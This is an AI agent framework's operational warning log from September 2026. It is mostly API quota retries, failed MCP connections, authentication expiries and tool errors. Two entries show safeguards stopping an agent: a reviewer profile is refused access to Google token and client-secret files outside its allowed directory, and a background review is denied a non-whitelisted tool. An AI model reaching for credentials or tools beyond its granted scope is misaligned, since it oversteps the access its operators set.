WARNING [20260910_102835_2df6af] agent.conversation_loop: API call failed (attempt 1/3) error_type=InternalServerError thread=ThreadPoolExecutor-288_0:138179180992192 provider=local9router base_url=http://localhost:20128/v1 model=default summary=HTTP 503: [antigravity/gemini-3-flash] [429]: { "error": { "code": 429, "message": "Resource has been exhausted (e.g. check quota).", "status": "RESOURCE_EXHAUSTED" } } (reset after 2s) 2026-09-10 10:32:10,020 WARNING [20260910_102835_2df6af] agent.conversation_loop: Retrying API call in 2.6199957727261056s (attempt 1/3) thread=ThreadPoolExecutor-288_0:138179180992192 provider=local9router base_url=http://localhost:20128/v1 model=default policy=default error=Error code: 503 - {'error': {'message': '[antigravity/gemini-3-flash] [429]: {\n "error": {\n "code": 429,\n "message": "Resource has been exhausted (e.g. check quota).",\n "status": "RESOURCE_EXHAUSTED"\n }\n}\n (reset after 2s)'}} 2026-09-10 10:34:25,503 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:34:25,503 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:34:33,920 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 10:34:33,937 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 10:34:33,948 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 10:34:33,972 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 10:34:41,895 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:35:11,375 WARNING [20260910_102835_2df6af] agent.conversation_loop: API call failed (attempt 2/3) error_type=InternalServerError thread=ThreadPoolExecutor-288_0:138179180992192 provider=local9router base_url=http://localhost:20128/v1 model=default summary=HTTP 503: [antigravity/gemini-3-flash] [429]: { "error": { "code": 429, "message": "Resource has been exhausted (e.g. check quota).", "status": "RESOURCE_EXHAUSTED" } } (reset after 2s) 2026-09-10 10:35:11,376 WARNING [20260910_102835_2df6af] agent.conversation_loop: Retrying API call in 5.7209434833811565s (attempt 2/3) thread=ThreadPoolExecutor-288_0:138179180992192 provider=local9router base_url=http://localhost:20128/v1 model=default policy=default error=Error code: 503 - {'error': {'message': '[antigravity/gemini-3-flash] [429]: {\n "error": {\n "code": 429,\n "message": "Resource has been exhausted (e.g. check quota).",\n "status": "RESOURCE_EXHAUSTED"\n }\n}\n (reset after 2s)'}} 2026-09-10 10:35:15,059 WARNING [20260910_102835_2167ad] agent.conversation_loop: API call failed (attempt 2/3) error_type=InternalServerError thread=ThreadPoolExecutor-289_0:138179172599488 provider=local9router base_url=http://localhost:20128/v1 model=default summary=HTTP 503: [antigravity/gemini-3.8-flash] [429]: { "error": { "code": 429, "message": "Resource has been exhausted (e.g. check quota).", "status": "RESOURCE_EXHAUSTED" } } (reset after 2s) 2026-09-10 10:35:15,060 WARNING [20260910_102835_2167ad] agent.conversation_loop: Retrying API call in 4.345379073292074s (attempt 2/3) thread=ThreadPoolExecutor-289_0:138179172599488 provider=local9router base_url=http://localhost:20128/v1 model=default policy=default error=Error code: 503 - {'error': {'message': '[antigravity/gemini-3.8-flash] [429]: {\n "error": {\n "code": 429,\n "message": "Resource has been exhausted (e.g. check quota).",\n "status": "RESOURCE_EXHAUSTED"\n }\n}\n (reset after 2s)'}} 2026-09-10 10:36:24,048 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "Foreground command uses '&' backgrounding. Re-send WITHOUT the '&' as terminal(command=\"\", background=true) — add notify_on_complete=true for bounded j 2026-09-10 10:38:01,225 WARNING [20260910_102835_2df6af] agent.conversation_loop: API call failed (attempt 3/3) error_type=InternalServerError thread=ThreadPoolExecutor-288_0:138179180992192 provider=local9router base_url=http://localhost:20128/v1 model=default summary=HTTP 503: [antigravity/claude-sonnet-4-6] Unavailable (reset after 23h 52m 18s) 2026-09-10 10:38:01,237 ERROR [20260910_102835_2df6af] agent.conversation_loop: [subagent-0] API call failed after 3 retries. HTTP 503: [antigravity/claude-sonnet-4-6] Unavailable (reset after 23h 52m 18s) | provider=local9router model=default msgs=2 tokens=~6,738 2026-09-10 10:38:08,443 WARNING [20260910_102835_2167ad] agent.conversation_loop: API call failed (attempt 3/3) error_type=InternalServerError thread=ThreadPoolExecutor-289_0:138179172599488 provider=local9router base_url=http://localhost:20128/v1 model=default summary=HTTP 503: [antigravity/gemini-3.8-flash] [429]: { "error": { "code": 429, "message": "Resource has been exhausted (e.g. check quota).", "status": "RESOURCE_EXHAUSTED" } } (reset after 2s) 2026-09-10 10:38:08,452 ERROR [20260910_102835_2167ad] agent.conversation_loop: [subagent-1] API call failed after 3 retries. HTTP 503: [antigravity/gemini-3.8-flash] [429]: { "error": { "code": 429, "message": "Resource has been exhausted (e.g. check quota).", "status": "RESOURCE_EXHAUSTED" } } (reset after 2s) | provider=local9router model=default msgs=2 tokens=~5,955 2026-09-10 10:39:48,246 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:39:52,153 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool skill_manage returned error (0.04s): {"success": false, "error": "Could not find a match for old_string in the file\n\nDid you mean one of these sections?\n 13| Sử dụng khi:\n 14| 1. Reviewer hoặc Subc thẩm định Idea Contract (IC) trướ 2026-09-10 10:42:42,115 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 10:42:42,129 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 10:42:42,138 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 10:42:42,157 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 10:42:49,074 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:42:57,641 WARNING [20260910_104242_f5e6aa] tools.credential_files: credential_files: rejected path traversal 'google_token.json' (Path escapes allowed directory: '/root/.hermes/google_token.json' is not in the subpath of '/root/.hermes/profiles/reviewer' OR one path is relative and the other is absolute.) 2026-09-10 10:42:57,642 WARNING [20260910_104242_f5e6aa] tools.credential_files: credential_files: rejected path traversal 'google_client_secret.json' (Path escapes allowed directory: '/root/.hermes/google_client_secret.json' is not in the subpath of '/root/.hermes/profiles/reviewer' OR one path is relative and the other is absolute.) 2026-09-10 10:43:13,539 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool terminal returned error (1.01s): {"output": "Usage: nlm list [OPTIONS] COMMAND [ARGS]...\nTry 'nlm list --help' for help.\n╭─ Error ──────────────────────────────────────────────────────────────────────╮\n│ No such command 'notebook' 2026-09-10 10:43:18,764 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool terminal returned error (2.19s): {"output": "✗ Authentication Error\n Authentication expired. Run 'nlm login' in your terminal to re-authenticate. \nMCP users: the server should auto-detect the new credentials; if not, call the \nre 2026-09-10 10:43:22,436 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool terminal returned error (1.18s): {"output": "Traceback (most recent call last):\n File \"/opt/ai-os/products/ceo/scripts/notebooklm_refresh.py\", line 30, in \n from notebooklm_tools.utils.cdp import (\n File \"/opt/ai-o 2026-09-10 10:44:26,185 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:44:26,185 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:44:52,619 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:44:52,619 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:44:54,461 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool terminal returned error (10.20s): {"output": "🔌 Connecting to Chrome headless CDP at port 9223...\n✅ Chrome headless: Chrome/150.0.7871.114\n📂 Opening NotebookLM page...\n🌐 Current URL: https://notebook.google.com/?pli=1\n⏳ Not logged 2026-09-10 10:44:59,770 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:44:59,770 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:45:09,780 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:45:09,780 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:47:56,207 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:48:58,568 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool read_file returned error (0.11s): {"content": "", "total_lines": 0, "file_size": 11346, "truncated": false, "is_binary": true, "is_image": false, "error": "Binary file - cannot display as text. Use appropriate tools to handle this fil 2026-09-10 10:50:10,677 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool terminal returned error (1.00s): {"output": "No cron execution attempts recorded.", "exit_code": 1, "error": null} 2026-09-10 10:53:03,127 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:56:05,013 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:56:05,013 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 10:56:09,084 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 10:56:09,103 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 10:56:09,124 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 10:56:09,140 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 10:56:16,846 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 10:56:30,130 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool patch returned error (0.05s): {"success": false, "error": "Could not find a match for old_string in the file", "_hint": "old_string not found. Use read_file to verify the current content, or search_files to locate the text."} 2026-09-10 11:00:15,857 WARNING plugins.web.ddgs.provider: DDGS search error: DDGSException: No results found. 2026-09-10 11:00:15,892 WARNING plugins.web.ddgs.provider: DDGS search error: DDGSException: No results found. 2026-09-10 11:00:15,902 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool web_search returned error (3.09s): { "success": false, "error": "DuckDuckGo search failed: DDGSException: No results found." } 2026-09-10 11:00:16,458 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool web_search returned error (3.06s): { "success": false, "error": "DuckDuckGo search failed: DDGSException: No results found." } 2026-09-10 11:01:24,463 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:02:50,299 WARNING plugins.web.ddgs.provider: DDGS search error: DDGSException: No results found. 2026-09-10 11:02:51,554 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool web_search returned error (3.23s): { "success": false, "error": "DuckDuckGo search failed: DDGSException: No results found." } 2026-09-10 11:03:16,284 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool terminal returned error (1.99s): {"output": "Error: Could not add drive source.", "exit_code": 1, "error": null} 2026-09-10 11:03:28,474 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool terminal returned error (4.99s): {"output": "Uploading HKS_Policy_Memo_Guide.pdf...\nError: Could not add file source: Authentication expired. Run 'nlm login' in \nyour terminal to re-authenticate. MCP users: the server should auto-d 2026-09-10 11:03:33,364 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool terminal returned error (2.79s): {"output": "✗ Authentication failed: Could not reach NotebookLM (network_error: \nClientAuthenticationError).\nCheck your connection and try again — your saved credentials may still be valid.", "exit_ 2026-09-10 11:03:36,241 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool terminal returned error (0.04s): {"output": "", "exit_code": 2, "error": null} [Tool loop warning: same_tool_failure_warning; count=3; terminal has failed 3 times this turn. This looks like a loop. Do not switch to text-only replies 2026-09-10 11:04:06,689 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator patch for skill 'notebooklm_operations': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL. 2026-09-10 11:06:32,323 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:07:19,208 WARNING [20260910_104242_f5e6aa] tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:07:19,221 WARNING [20260910_104242_f5e6aa] tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-10 11:07:19,227 WARNING [20260910_104242_f5e6aa] tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-10 11:07:19,293 WARNING [20260910_104242_f5e6aa] tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:07:19,302 WARNING [20260910_104242_f5e6aa] tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:07:19,304 WARNING [20260910_104242_f5e6aa] tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-10 11:07:19,305 WARNING [20260910_104242_f5e6aa] tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-10 11:07:32,784 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:07:32,784 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:07:53,868 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-10 11:07:54,595 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-10 11:08:51,169 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:08:51,178 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-10 11:08:51,183 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-10 11:08:51,233 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:08:51,242 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:08:51,244 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-10 11:08:51,245 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-10 11:08:51,425 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=http://localhost:20128/v1) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-10 11:10:10,945 WARNING agent.lsp.servers: bash-language-server: shellcheck not found on PATH — diagnostics will be empty until shellcheck is installed (apt: shellcheck, brew: shellcheck, scoop: shellcheck). 2026-09-10 11:11:14,865 WARNING agent.relay_runtime: Skipping Relay instrumentation for concurrent Hermes turn 20260910_110849_2ca915:7089c409-fc28-401c-b347-207c4254e866:2286fd62 in session 20260910_110849_2ca915 2026-09-10 11:11:22,663 WARNING [20260910_110849_2ca915] agent.tool_executor: Tool search_files returned error (0.00s): {"error": "Background review denied non-whitelisted tool: search_files. Only memory/skill tools are allowed."} 2026-09-10 11:11:33,420 WARNING [20260910_110849_2ca915] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Description is 123 chars — new skills must fit the 60-char system-prompt budget (one sentence, trigger first, ends with a period). The skill index truncates longer descrip 2026-09-10 11:12:37,383 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:12:37,383 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:12:37,599 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=default) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-10 11:12:41,201 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:12:41,216 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-10 11:12:41,222 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-10 11:12:41,231 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:12:41,238 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:12:41,239 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-10 11:12:41,241 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-10 11:13:44,089 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:13:47,174 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:13:47,186 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-10 11:13:47,194 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-10 11:13:47,245 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:13:47,255 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-10 11:13:47,256 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-10 11:13:47,257 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-10 11:13:51,058 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:13:51,058 WARNING tools.mcp_tool: Failed to connect to MCP server 'stays' (command=stays mcp): Connection closed 2026-09-10 11:13:51,073 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:18:11,761 WARNING plugins.web.ddgs.provider: DDGS search error: DDGSException: No results found. 2026-09-10 11:18:12,020 WARNING plugins.web.ddgs.provider: DDGS search error: DDGSException: No results found. 2026-09-10 11:18:12,024 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool web_search returned error (4.31s): { "success": false, "error": "DuckDuckGo search failed: DDGSException: No results found." } 2026-09-10 11:18:12,044 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool web_search returned error (4.56s): { "success": false, "error": "DuckDuckGo search failed: DDGSException: No results found." } 2026-09-10 11:18:18,075 WARNING plugins.web.ddgs.provider: DDGS search error: DDGSException: No results found. 2026-09-10 11:18:18,246 WARNING plugins.web.ddgs.provider: DDGS search error: DDGSException: No results found. 2026-09-10 11:18:18,249 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool web_search returned error (3.30s): { "success": false, "error": "DuckDuckGo search failed: DDGSException: No results found." } [Tool loop warning: same_tool_failure_warning; count=3; web_search has failed 3 times this turn. This l 2026-09-10 11:18:18,257 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool web_search returned error (3.13s): { "success": false, "error": "DuckDuckGo search failed: DDGSException: No results found." } [Tool loop warning: same_tool_failure_warning; count=4; web_search has failed 4 times this turn. This l 2026-09-10 11:18:58,435 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:20:18,557 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:20:18,611 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:20:18,621 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:20:18,653 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:20:26,157 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:20:26,984 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:20:26,999 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:20:27,020 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:20:27,047 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:20:33,317 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:20:36,701 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:20:36,701 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:20:40,554 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:21:34,914 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool terminal returned error (46.72s): {"output": "Traceback (most recent call last):\n File \"\", line 12, in \n File \"/usr/lib/python3.12/http/client.py\", line 500, in read\n s = self._safe_read(self.length)\n 2026-09-10 11:21:46,409 WARNING [20260910_104242_f5e6aa] plugins.web.ddgs.provider: DDGS search error: DDGSException: No results found. 2026-09-10 11:21:46,410 WARNING [20260910_104242_f5e6aa] agent.tool_executor: Tool web_search returned error (2.99s): { "success": false, "error": "DuckDuckGo search failed: DDGSException: No results found." } 2026-09-10 11:21:53,631 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool read_file returned error (0.06s): {"content": "", "total_lines": 0, "file_size": 1011, "truncated": false, "is_binary": true, "is_image": false, "error": "Binary file - cannot display as text. Use appropriate tools to handle this file 2026-09-10 11:25:40,762 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:26:26,979 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:26:26,979 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:26:31,305 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:26:31,338 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:26:31,375 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:26:31,439 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 11:26:39,125 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:26:49,568 WARNING [20260910_094253_9181c6] tools.skills_tool: Skill name collision for 'research-critism': 2 candidates — /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-09-10 11:26:49,569 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool skill_view returned error (0.05s): {"success": false, "error": "Ambiguous skill name 'research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-09-10 11:28:38,061 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:28:38,061 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 11:28:41,048 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 11:31:45,795 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:36:52,493 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 11:37:42,147 WARNING [20260910_094253_9181c6] agent.tool_executor: Tool read_file returned error (0.09s): {"content": "", "total_lines": 0, "file_size": 1931, "truncated": false, "is_binary": true, "is_image": 